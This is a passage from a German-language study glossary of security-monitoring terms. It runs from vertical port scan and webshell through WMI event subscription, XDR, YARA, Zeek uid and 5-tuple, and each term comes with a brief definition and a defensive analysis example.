Viele S0- und REJ-Einträge von einer Quelle helfen zu erklären, warum ein Scan wenige Anwendungsdaten erzeugte.
Verbreitungsgrad
Der Verbreitungsgrad misst, wie weit eine beobachtete Datei oder ein Indikator in einer Umgebung vorkommt, und ergänzt so den Kontext ihrer lokalen Aktivität.
Ein auf einer Arbeitsstation beobachteter Hashwert wird mit Software verglichen, die im gesamten genehmigten Arbeitsplatzabbild vorhanden ist.
Vertikaler Portscan
Ein vertikaler Portscan prüft mehrere Ports auf einem einzelnen Zielhost, um Dienste zu erkennen, die möglicherweise auf Anfragen warten oder erreichbar sind.
Eine Quelle versucht innerhalb weniger Sekunden viele Zielports auf demselben Server zu erreichen.
Vertrauensgrad
Der Vertrauensgrad drückt aus, wie stark die verfügbaren Belege einen Befund stützen; für die angegebene hohe, mittlere oder niedrige Stufe werden Gründe genannt.
Eine fehlende Endgerätehistorie senkt den Vertrauensgrad einer vermuteten Verbindung, selbst wenn das Ziel verdächtig aussieht.

W

Webshell
Eine Webshell ist vom Angreifer kontrollierter serverseitiger Code, der Befehlsausführung oder Fernzugriff über einen Webserver ermöglicht.
Ein Webserverprozess, der eine Befehlsshell startet, gibt Anlass zur Prüfung kürzlich geänderter Serverdateien.
WMI-Ereignisabonnement
Ein WMI-Ereignisabonnement verbindet einen Ereignisfilter mit einer Consumer-Aktion und ermöglicht so eine automatisierte Ausführung beim gewählten Ereignis.
Der Analyst führt Sysmon-Datensätze zu Filter, Consumer und Verknüpfung zusammen, um den dauerhaften Auslöser zu rekonstruieren.

X

XDR
Extended Detection and Response korreliert Endgerätebelege mit Quellen wie Netzwerk-, E-Mail-, Identitäts- und Cloud-Telemetrie.
Die Plattform führt eine E-Mail-Alarmmeldung und die Ausführungsereignisse auf dem Host des Empfängers in einer Untersuchung zusammen.

Y

YARA
YARA ist eine Regelsprache, die Dateien oder Arbeitsspeicher anhand von Zeichenketten, Bytemustern und von einem Analysten festgelegten logischen Bedingungen abgleicht.
Eine Regel verlangt sowohl eine Signatur einer ausführbaren Datei am Anfang als auch zwei charakteristische eingebettete Zeichenketten.

Z

Zeek-uid
Eine Zeek-uid ist eine Verbindungskennung, die Datensätze desselben Austauschs über Zeek-Verbindungs- und Protokollaufzeichnungen hinweg verknüpft.
Ein Pivoting über die uid führt eine HTTP-Anfrage mit Dauer und Byteanzahlen ihrer Verbindung zusammen.

#

5-Tupel
Ein 5-Tupel fasst Quell- und Ziel-IP, Quell- und Zielport sowie das vom Netzwerkverkehr verwendete Transportprotokoll zusammen.
Der Analyst vertauscht beide Adressen und Ports, um den Datensatz der Gegenrichtung eines TCP-Austauschs zu finden.

Über diese Einheit

Von StudeliFehler melden

Erstelle deine eigenen Lernmaterialien

Mach aus deinen Notizen, Folien und Dokumenten Lernleitfäden, Übungsfragen, Karteikarten und 6 weitere Tools.

Jetzt starten